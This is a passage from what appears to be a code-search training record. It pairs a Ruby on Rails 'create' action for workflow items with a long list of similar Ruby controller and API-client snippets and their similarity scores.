sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)
@workflows = Workflow.find_by_sql(sql)
@received_wfs = Workflow.get_received_list(@login_user.id, 'id DESC')
rescue => evar
Log.add_error(request, evar)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @workflows = Workflow.all\n end",
"def list_workflows\n perform(\"/registries/current/workflows?status=true&versions=true\", :get, content_type: :json)\n end",
"def index\n @active_workflow_steps = ActiveWorkflowStep.all\n end",
"def index\n @workflow_types = WorkflowType.all\n end",
"def index\n @workflows = Workflow.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @workflows }\n end\n end",
"def list_workflows(opts = {})\n data, _status_code, _headers = list_workflows_with_http_info(opts)\n data\n end",
"def list_workflows(opts = {})\n data, _status_code, _headers = list_workflows_with_http_info(opts)\n data\n end",
"def index\n @workflow_transitions = WorkflowTransition.all\n end",
"def index\n @project_type_workflows = ProjectTypeWorkflow.all\n end",
"def workflows\n rv = []\n json_data = get(url: \"#{@url}workflows/\")\n json_data.each do |wf|\n workflow = Workflow.new(id: wf[:id], name: wf[:name])\n steps = wf[:steps]\n steps.each do |step|\n workflow_step = Step.new(uuid: step[:uuid],\n service_name: step[:serviceName],\n workflow: workflow,\n type_name: step[:stepConfiguration][:typeName],\n previous_type_name: step[:stepConfiguration][:previousTypeName],\n configuration_params: step[:stepConfiguration][:configurationParams])\n workflow.steps << workflow_step\n end\n rv << workflow\n end\n rv\n end",
"def index\n # This ought to be a redirect, but our infrastructure is making it a\n # challenge to do right now: https://github.com/sul-dlss/workflow-server-rails/pull/162#issuecomment-479191283\n # so we'll just ignore an log it.\n # return redirect_to \"/objects/#{params[:druid]}/workflows\" if params[:repo]\n logger.warn 'Workflows#index with repo parameter is deprecated. Call /objects/:druid/workflows instead' if params[:repo]\n\n object_steps = WorkflowStep.where(druid: params[:druid])\n .order(:workflow, created_at: :asc)\n .group_by(&:workflow)\n\n @workflows = object_steps.map do |wf_name, workflow_steps|\n Workflow.new(name: wf_name,\n repository: workflow_steps.first.repository,\n druid: params[:druid],\n steps: workflow_steps)\n end\n end",
"def workflow\n []\n end",
"def workflow\n []\n end",
"def index\n @activities_lists = ActivitiesList.all\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::WorkflowHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"WorkflowsHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_workflow_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def index\n @activity_lists = ActivityList.all\n end",
"def list_workflows_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WorkflowApi.list_workflows ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling WorkflowApi.list_workflows, must be smaller than or equal to 100.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 20\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling WorkflowApi.list_workflows, must be greater than or equal to 20.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling WorkflowApi.list_workflows, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/workflows'\n\n # query parameters\n query_params = {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WorkflowOutCollection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WorkflowApi#list_workflows\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n respond_to do |format|\n format.html\n format.json\n format.json_api { render({ json: @workflows }.merge(api_collection_properties)) }\n end\n end",
"def index\n @worklists = Worklist.all\n end",
"def list_workflows_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: WorkflowApi.list_workflows ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling WorkflowApi.list_workflows, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling WorkflowApi.list_workflows, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling WorkflowApi.list_workflows, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/workflows'\n\n # query parameters\n query_params = {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'WorkflowOutCollection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: WorkflowApi#list_workflows\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list(priority: :unset, assignment_status: :unset, workflow_sid: :unset, workflow_name: :unset, task_queue_sid: :unset, task_queue_name: :unset, evaluate_task_attributes: :unset, ordering: :unset, has_addons: :unset, limit: nil, page_size: nil)\n self.stream(\n priority: priority,\n assignment_status: assignment_status,\n workflow_sid: workflow_sid,\n workflow_name: workflow_name,\n task_queue_sid: task_queue_sid,\n task_queue_name: task_queue_name,\n evaluate_task_attributes: evaluate_task_attributes,\n ordering: ordering,\n has_addons: has_addons,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def index\n @task_lists = TaskList.all\n end",
"def show\n workflow_steps = WorkflowStep.where(\n repository: params[:repo],\n druid: params[:druid],\n workflow: params[:workflow]\n ).order(:workflow, created_at: :asc)\n @workflow = Workflow.new(name: params[:workflow], repository: params[:repo], druid: params[:druid], steps: workflow_steps)\n end",
"def list\n call! :list\n end",
"def list\n stream.puts \"List of bookmarks\"\n\n bookmarks = Services::List.new.list\n renderer.new(bookmarks, stream: stream).render\n end",
"def index\n\t\t@workflow = current_user.setting.workflow\n\t\tredirect_to new_workflow_path and return if current_user.setting.workflow.blank?\n\tend",
"def index\n @tasklists = Tasklist.all\n end",
"def index\n if params[:workflow_id] \n workflow = Workflow.find(params[:workflow_id])\n if workflow != nil\n @step_definitions = workflow.step_definitions\n else\n @step_definitions = []\n end\n else \n @step_definitions = StepDefinition.all\n end\n end",
"def list_tasks\n tasks = @repository.all\n @view.display_tasks(tasks)\n end",
"def index\n @launches = @lms_instance.launches\n end",
"def index\n @task_lists = Task::List.all.active\n end",
"def show\n find_workflow\n comments_data(@workflow)\n revisions_data\n jobs_sync\n analyses = workflow_analyses(@workflow, :desc)\n @workflow.current_user = current_user\n\n render json:\n @workflow, adapter: :json,\n meta: {\n spec: @workflow.spec,\n apps: @workflow.apps,\n revisions: @revisions,\n executions: analyses[:analyses_jobs],\n batches: analyses[:batch_hash],\n challenges: @assignable_challenges,\n comments: @comments,\n links: meta_links(@workflow),\n }\n end",
"def list(priority: :unset, assignment_status: :unset, workflow_sid: :unset, workflow_name: :unset, task_queue_sid: :unset, task_queue_name: :unset, evaluate_task_attributes: :unset, ordering: :unset, has_addons: :unset, limit: nil, page_size: nil)\n self.stream(\n priority: priority,\n assignment_status: assignment_status,\n workflow_sid: workflow_sid,\n workflow_name: workflow_name,\n task_queue_sid: task_queue_sid,\n task_queue_name: task_queue_name,\n evaluate_task_attributes: evaluate_task_attributes,\n ordering: ordering,\n has_addons: has_addons,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def list\n\n end",
"def index\n @waitlists = Waitlist.all\n end",
"def list\n @journals = Journal.all\n end",
"def list\n get()\n end",
"def index\n if params[:format].nil? or params[:format] == 'html'\n @iteration = params[:iteration][/\\d+/] rescue 1\n # We will list those already linked above those that are not, so remove them from the list.\n @workflows = Workflow.sorted_order(\"#{sort_column('workflows','outdir')} #{sort_direction}\").search(params[:search]).paginate(\n :page => params[:page], \n :per_page => params[:DataTables_Table_0_length]\n )\n else\n @workflows = Workflow.api_search(params)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.xml { render :xml => @workflows }\n format.csv { render :csv => @workflows }\n format.json { render :json => @workflows }\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workflow }\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workflow }\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workflow }\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @workflow }\n end\n end",
"def list\n end",
"def list\n end",
"def list\n end",
"def index\n @actionlists = Actionlist.all\n end",
"def index\n @lab_flows = LabFlow.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lab_flows }\n end\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def index\n @lists = List.all\n end",
"def list\n List.from_response client.get(\"/actions/#{action_id}/list\")\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def list(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/list\", params)\n end",
"def index\n @business_streams = BusinessStream.all\n end",
"def to_s\n '#<Twilio.Taskrouter.V1.WorkflowStatisticsList>'\n end",
"def index\n @saved_lists = SavedList.all\n end",
"def list()\n _params = {}\n return @master.call 'webhooks/list', _params\n end",
"def index\n @calllists = Calllist.all\n end",
"def index\n @calllists = Calllist.all\n end",
"def index\n @lists = List.all\n\n end",
"def start_all_workflows\n wf_states = workflow_states\n\n wf_states.each { |wf_id, state| start_workflow(workflow_id: wf_id) if state[:workflow_state] == \"STOPPED\" }\n workflow_states\n end",
"def show_list\n\t\t\t@my_list.show\n\t\tend",
"def show\n @task_list = TaskList.find(params[:id])\n add_breadcrumb I18n.t(\"tasklist.breadcrumbs.show\"), project_task_list_path\n\n respond_with @task_lists\n end",
"def index\n\t\t@list_configs = current_user.list_configs.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @list_configs }\n\t\t\tformat.json { render :json => @list_configs }\n\t\t\tformat.yaml { render :text => @list_configs.to_yaml, :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def list\n @title = \"Project List\"\n\n conditions = nil\n @status = nil\n @sortby = nil\n\n if params[:status]\n conditions = [ \"project_status = ?\", params[:status] ]\n @status = params[:status]\n end\n\n sortbylookup = {\n 'name' => \"project_title\",\n 'start' => \"start_date\",\n 'end' => \"actual_finish_date\"\n }\n\n if sortbylookup[params[:sortby]]\n order = sortbylookup[params[:sortby]]\n @sortby = params[:sortby]\n else\n order = 'project_title'\n end\n order += ' DESC'\n\n @projects = Project.paginate( :page => params[:page], :per_page => 20, :conditions => conditions, :order => order)\n end",
"def workflow\n return @@WORKFLOW.collect(&:values).flatten\n end",
"def list\n url = prefix + \"list\"\n return response(url)\n end",
"def show_list\n process_show_list\n end",
"def index\n @tasks = Task.where(isArchived: false)\n @task = Task.new\n @lists = List.all\n end",
"def index\n @tasks = @list.tasks.order(status: :asc)\n return render_success_task_index\n end",
"def list\n @studios = Studio.all;\n return render json: @studios.to_json, status: 200\n end",
"def index\n @work_schedules = WorkSchedule.all\n end",
"def index\n @watchlists = Watchlist.all\n end",
"def list(options={})\n if options['minimal']\n minimal_list\n else\n detailed_list(options)\n end\n end",
"def index\n @task_lists = @user.task_lists\n end",
"def index\n @todoit_lists = TodoitList.all\n end",
"def index\n @task_lists = @project.task_lists.all\n\n respond_with @task_lists\n end",
"def show\n @todos = @getflow.todos\n @groups = @getflow.groups\n end",
"def show\n @tasks = @list.tasks\n # Setting a layout different from the default\n render layout: 'application'\n end",
"def show\n initLists\n end",
"def index\n @checklists = Checklist.get_checklist_entries(current_user).get_pending_tasks.paginate(page: params[:page])\n end",
"def index\n @lists = current_project.lists\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lists }\n end\n end",
"def show\n @workflow = Workflow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @workflow }\n format.csv { render :csv => @workflow }\n format.json { render :json => @workflow }\n end\n end",
"def index\n @model_lists = ModelList.all\n end",
"def list\n @blocks = Block.find :all\n @categories = Category.find :all\n end",
"def index\n\t\tlist\n\t\trender('list')\n\tend",
"def index\n\t\tlist\n\t\trender('list')\n\tend",
"def index\n list\n end",
"def index\n list\n end",
"def list_studies\n act = StudyListAction.new(self)\n act.get\n end",
"def index\n @service_lists = ServiceList.all\n end",
"def list\n @list\n end",
"def list(\n filter,\n *args,\n deadline: nil\n )\n req = V1::WorkflowApproversHistoryListRequest.new()\n req.meta = V1::ListRequestMetadata.new()\n page_size_option = @parent._test_options[\"PageSize\"]\n if page_size_option.is_a? Integer\n req.meta.limit = page_size_option\n end\n if not @parent.snapshot_time.nil?\n req.meta.snapshot_at = @parent.snapshot_time\n end\n\n req.filter = Plumbing::quote_filter_args(filter, *args)\n resp = Enumerator::Generator.new { |g|\n tries = 0\n loop do\n begin\n plumbing_response = @stub.list(req, metadata: @parent.get_metadata(\"WorkflowApproversHistory.List\", req), deadline: deadline)\n rescue => exception\n if (@parent.shouldRetry(tries, exception))\n tries + +@parent.jitterSleep(tries)\n next\n end\n raise Plumbing::convert_error_to_porcelain(exception)\n end\n tries = 0\n plumbing_response.history.each do |plumbing_item|\n g.yield Plumbing::convert_workflow_approver_history_to_porcelain(plumbing_item)\n end\n break if plumbing_response.meta.next_cursor == \"\"\n req.meta.cursor = plumbing_response.meta.next_cursor\n end\n }\n resp\n end",
"def list(state = 'open')\n Core.list(:user => @user, :repo => @repo, :state => state)\n end",
"def index\n @checklists = Checklist.all\n end",
"def index\n @lists = List.find(:all)\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @lists }\n end\n end",
"def list\n @title = \"Content List\"\n # Get all content node types\n @list_options = ContentNodeType.all_type_names\n\n # Set currently viewing by key\n if params[:key] then\n @viewing_by = params[:key]\n elsif session[:last_content_list_view]\n @viewing_by = session[:last_content_list_view]\n else\n @viewing_by = @list_options[1]\n end\n\n # Find the id of the content node type we're viewing by\n type = ContentNodeType.find(:first, :conditions => [\"name = ?\", @viewing_by])\n\n # Paginate content\n @content_node_pages,\n @content_nodes = paginate :content_node,\n :per_page => 10,\n :conditions => [\"content_node_type_id = ?\", type.id],\n :order => \"display_on DESC, name ASC\"\n session[:last_content_list_view] = @viewing_by\n end",
"def index\n @todoslists = Todoslist.all\n end"
] |
[
"0.7911187",
"0.73713714",
"0.70894897",
"0.7035903",
"0.7029",
"0.69790167",
"0.69790167",
"0.6966519",
"0.6957868",
"0.65759414",
"0.65173435",
"0.646704",
"0.646704",
"0.63368285",
"0.62941515",
"0.6287932",
"0.6248686",
"0.62406117",
"0.6227208",
"0.6188371",
"0.61869586",
"0.6166061",
"0.6141829",
"0.6118563",
"0.6106003",
"0.6093058",
"0.6078961",
"0.6062387",
"0.6049694",
"0.60495704",
"0.60383254",
"0.6011355",
"0.6002896",
"0.5988717",
"0.5946131",
"0.5936771",
"0.59327394",
"0.59203035",
"0.5916256",
"0.5916256",
"0.5916256",
"0.5916256",
"0.5911421",
"0.5911421",
"0.5911421",
"0.5900274",
"0.58953136",
"0.58719176",
"0.58719176",
"0.58719176",
"0.58719176",
"0.5871523",
"0.5846506",
"0.5846506",
"0.5832486",
"0.58182824",
"0.5814251",
"0.579369",
"0.5786055",
"0.5786055",
"0.57839704",
"0.57703793",
"0.5767961",
"0.57507783",
"0.57490367",
"0.57484645",
"0.57428",
"0.5738979",
"0.57379615",
"0.5721242",
"0.571246",
"0.5711552",
"0.57036227",
"0.5687756",
"0.56839067",
"0.56821275",
"0.56793815",
"0.567715",
"0.5673867",
"0.56568635",
"0.5655336",
"0.56551677",
"0.56543094",
"0.56515145",
"0.5643264",
"0.5639447",
"0.5636228",
"0.5624445",
"0.5624445",
"0.5616349",
"0.5616349",
"0.56154656",
"0.5612765",
"0.5610396",
"0.5598388",
"0.5594916",
"0.55896914",
"0.5584805",
"0.5578822",
"0.557446"
] |
0.7583458
|
1
|
=== create Creates a Workflow Item in 'My Folder/$Workflows'.
|
def create
Log.add_info(request, params.inspect)
raise(RequestPostOnlyException) unless request.post?
my_wf_folder = WorkflowsHelper.get_my_wf_folder(@login_user.id)
tmpl_item = Item.find(params[:select_workflow])
item = tmpl_item.copy(@login_user.id, my_wf_folder.id)
attrs = ActionController::Parameters.new({title: tmpl_item.title + t('msg.colon') + User.get_name(@login_user.id), public: false})
item.update_attributes(attrs.permit(Item::PERMIT_BASE))
item.workflow.update_attribute(:status, Workflow::STATUS_NOT_ISSUED)
sql = WorkflowsHelper.get_list_sql(@login_user.id, my_wf_folder.id)
@workflows = Workflow.find_by_sql(sql)
render(:partial => 'ajax_workflow', :layout => false)
rescue => evar
Log.add_error(request, evar)
render(:partial => 'ajax_workflow', :layout => false)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n params[:workflow]['project_id'] = session[:project]\n @workflow = Workflow.new(params[:workflow])\n\n respond_to do |format|\n if @workflow.save\n flash[:notice] = 'Workflow was successfully created.'\n format.html { redirect_to(@workflow) }\n format.xml { render :xml => @workflow, :status => :created, :location => @workflow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workflow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @workflow = Workflow.new(params[:workflow])\n\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render json: @workflow, status: :created, location: @workflow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @workflow = Workflow.new(params[:workflow])\n\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render json: @workflow, status: :created, location: @workflow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @workflow = Workflow.new(params[:workflow])\n\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render json: @workflow, status: :created, location: @workflow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @workflow = Workflow.new(params[:workflow])\n\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render json: @workflow, status: :created, location: @workflow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize Workflow\n @workflow = Workflow.new(workflow_params)\n @workflow.user = current_user\n respond_to do |format|\n if @workflow.save\n @workflow.create_activity :create, owner: current_user\n look_for_topics(@workflow)\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render :show, status: :created, location: @workflow }\n else\n format.html { render :new }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # puts \"---------------------\"\n # puts workflow_params.to_json\n\n # workflow_attributes = workflow_params\n # step_definitions_attributes = workflow_attributes.delete(\"step_definitions\")\n\n # @workflow = Workflow.new(workflow_attributes)\n\n # @workflow.step_definitions = StepDefinition.createStepDefinitions(step_definitions_attributes)\n\n @workflow = Workflow.new(workflow_params)\n respond_to do |format|\n if @workflow.save\n format.html { redirect_to @workflow, notice: 'Workflow was successfully created.' }\n format.json { render :show, status: :created, location: @workflow }\n else\n format.html { render :new }\n format.json { render json: @workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_workflow(name:, steps:)\n workflow = Workflow.new(name: name, steps: steps)\n\n resp = post(url: \"#{@url}workflows/\", payload: workflow.to_json)\n created_workflow = Workflow.load(self, resp[:id])\n\n created_workflow\n end",
"def create_workflow(wf_name, init_time_ctx, step_classes)\n # raise an exception if the workflow already exists\n raise Wfe::Exception.new(\"workflow %s already exists\" % [wf_name]) if Wfe::Workflow.exists?({ :name => wf_name})\n\n n = 0\n ActiveRecord::Base.transaction do\n w = Wfe::Workflow.create(\n :name => wf_name,\n :init_time_ctx => init_time_ctx,\n :run_time_ctx => init_time_ctx,\n :scheduled => Time.now,\n :state => Wfe::Workflow::STATE_PENDING,\n :created_at => Time.now\n )\n step_classes.each do |clazz|\n clazz = clazz.to_s if clazz.is_a?(Class)\n w.steps.create(\n :name => \"%d-%s-%s\" % [n =+ 1 ,wf_name, clazz],\n :impl_class => clazz,\n :args => [],\n :state => Wfe::WorkflowStep::STATE_PENDING\n )\n end\n w.save\n end\n end",
"def create\n @workflow_task = WorkflowTask.new(params[:workflow_task])\n\n respond_to do |format|\n if @workflow_task.save\n flash[:notice] = 'WorkflowTask was successfully created.'\n format.html { redirect_to(@workflow_task) }\n format.xml { render :xml => @workflow_task, :status => :created, :location => @workflow_task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workflow_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project_type_workflow = ProjectTypeWorkflow.new(project_type_workflow_params)\n\n respond_to do |format|\n if @project_type_workflow.save\n format.html { redirect_to @project_type_workflow, notice: 'Project type workflow was successfully created.' }\n format.json { render :show, status: :created, location: @project_type_workflow }\n else\n format.html { render :new }\n format.json { render json: @project_type_workflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @workflow_type = WorkflowType.new(workflow_type_params)\n\n respond_to do |format|\n if @workflow_type.save\n format.html { redirect_to @workflow_type, notice: 'Workflow type was successfully created.' }\n format.json { render :show, status: :created, location: @workflow_type }\n else\n format.html { render :new }\n format.json { render json: @workflow_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_workflow(new_workflow_name)\n\t\t\tensure_hash_has_symbol(self, :_id)\n\n\t\t\tthis_workflow_type=WorkflowTypes.db_get_with_id :_id=>self[:_id]\n\t\t\traise \"Cannot generate workflows for a non-existing workflow type - have you committed this workflow type to db yet?\" if this_workflow_type.nil?\n\n\t\t\twf=Workflowz.new\n\t\t\twf.update :_id=>new_workflow_name, :type=>self[:_id]\n\t\t\twf\n\t\tend",
"def create\n @active_workflow_step = ActiveWorkflowStep.new(active_workflow_step_params)\n\n respond_to do |format|\n if @active_workflow_step.save\n format.html { redirect_to @active_workflow_step, notice: 'Active workflow step was successfully created.' }\n format.json { render :show, status: :created, location: @active_workflow_step }\n else\n format.html { render :new }\n format.json { render json: @active_workflow_step.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(_state)\n workflow do\n run_apply\n end\n end",
"def create\n @workflow_task_type = WorkflowTaskType.new(params[:workflow_task_type])\n\n respond_to do |format|\n if @workflow_task_type.save\n flash[:notice] = 'WorkflowTaskType was successfully created.'\n format.html { redirect_to(@workflow_task_type) }\n format.xml { render :xml => @workflow_task_type, :status => :created, :location => @workflow_task_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @workflow_task_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n # This is to make amon ignore its own sayings\n return if params[:user_id].eql?(\"USLACKBOT\")\n\n # Try to create a new item\n item = Item.create_from_webhook params\n if item.nil?\n message = I18n.t(:no_such_team, :url=>\"#{request.env['HTTP_HOST']}/auth/slack\")\n else\n message = I18n.t('item_create_response').sample\n end\n render_slack message\n end",
"def create_workflow_packages\n workflow = Workflow.find_by(name: 'Agile Acquisition Workflow', package_name: 'Solicitation')\n package = WorkflowPackage.create!(name: 'My First Solicitation Package', user: self, workflow: workflow)\n WorkflowStep.where(workflow: workflow).each do |wfs|\n WorkflowStepPackage.create!(user: self, workflow_step: wfs, workflow_package: package) unless WorkflowStepPackage.find_by(user: self, workflow_step: wfs, workflow_package: package).present?\n end\n end",
"def create_ingestion_workflow(params={})\n payload=create_ingestion_workflow_payload(params)\n create_workflow(payload)\n end",
"def create_new_item( depositor, payload )\n\n ok = true\n work = GenericWork.create!( title: [ payload[ :title ] ] ) do |w|\n\n # generic work attributes\n w.apply_depositor_metadata( depositor )\n w.creator = depositor.email\n w.author_email = TaskHelpers.default_email( payload[ :author_computing_id ] ) if payload[ :author_computing_id ]\n w.author_first_name = payload[ :author_first_name ] if payload[ :author_first_name ]\n w.author_last_name = payload[ :author_last_name ] if payload[ :author_last_name ]\n w.author_institution = payload[ :institution ] if payload[ :institution ]\n w.contributor = payload[ :advisors ]\n w.description = payload[ :abstract ]\n w.keyword = payload[ :keywords ] if payload[ :keywords ]\n\n # date attributes\n w.date_created = payload[ :create_date ] if payload[ :create_date ]\n w.date_modified = DateTime.parse( payload[ :modified_date ] ) if payload[ :modified_date ]\n w.date_published = payload[ :issued ] if payload[ :issued ]\n\n # embargo attributes\n w.visibility = payload[:embargo_type ]\n w.embargo_state = payload[:embargo_type ]\n w.visibility_during_embargo = payload[:embargo_type ]\n w.embargo_end_date = payload[ :embargo_release_date ] if payload[ :embargo_release_date ]\n w.embargo_period = payload[ :embargo_period ] if payload[ :embargo_period ]\n\n # assume standard and published work type\n w.work_type = GenericWork::WORK_TYPE_THESIS\n w.draft = 'false'\n\n w.publisher = payload[ :publisher ] if payload[ :publisher ]\n w.department = payload[ :department ] if payload[ :department ]\n w.degree = payload[ :degree ] if payload[ :degree ]\n w.language = payload[ :language ] if payload[ :language ]\n\n w.notes = payload[ :notes ] if payload[ :notes ]\n w.rights = [ payload[ :rights ] ] if payload[ :rights ]\n w.license = GenericWork::DEFAULT_LICENSE\n\n w.admin_notes = payload[ :admin_notes ] if payload[ :admin_notes ]\n w.work_source = payload[ :source ] if payload[ :source ]\n\n end\n\n return ok, work\n end",
"def new_workflow!(new_workflow_name)\n\t\t\twf=new_workflow(new_workflow_name)\n\t\t\traise \"Could not save new workflow to db\" unless wf.db_insert\n\t\t\twf\n\t\tend",
"def create_item(attributes, to_ews_create_opts = {})\n template = Viewpoint::EWS::Template::Contact.new attributes\n template.saved_item_folder_id = {id: self.id, change_key: self.change_key}\n rm = ews.create_item(template.to_ews_create(to_ews_create_opts)).response_messages.first\n if rm && rm.success?\n Contact.new ews, rm.items.first[:contact][:elems].first\n else\n raise EwsCreateItemError, \"Could not create item in folder. #{rm.code}: #{rm.message_text}\" unless rm\n end\n end",
"def create\n @workflow_transition = WorkflowTransition.new(workflow_transition_params)\n\n respond_to do |format|\n if @workflow_transition.save\n format.html { redirect_to @workflow_transition, notice: 'Workflow transition was successfully created.' }\n format.json { render :show, status: :created, location: @workflow_transition }\n else\n format.html { render :new }\n format.json { render json: @workflow_transition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_tasks(p)\n java_import org.dspace.storage.rdbms.DatabaseManager\n java_import org.dspace.workflow.WorkflowManager\n java_import org.dspace.storage.rdbms.TableRow\n\n # Get the workflow_ids, item_ids that aren't yet assigned to person\n sql = \"SELECT workflow_id,item_id from workflowitem WHERE workflow_id not in (SELECT workflow_id FROM TASKLISTITEM WHERE eperson_id = #{p.getID})\"\n puts sql\n\n tri = DatabaseManager.queryTable(DSpace.context, 'workflowitem', sql)\n row = DatabaseManager.row('tasklistitem')\n row.setColumn('eperson_id', p.getID)\n while (n = tri.next)\n wid = n.getIntColumn('workflow_id')\n item_id = n.getIntColumn('item_id')\n i = DItem.find(item_id)\n puts \"#{wid}\\t#{i.getName}\"\n\n row.setColumn('workflow_id', wid)\n DatabaseManager.insert(DSpace.context, row)\n end\n nil\nend",
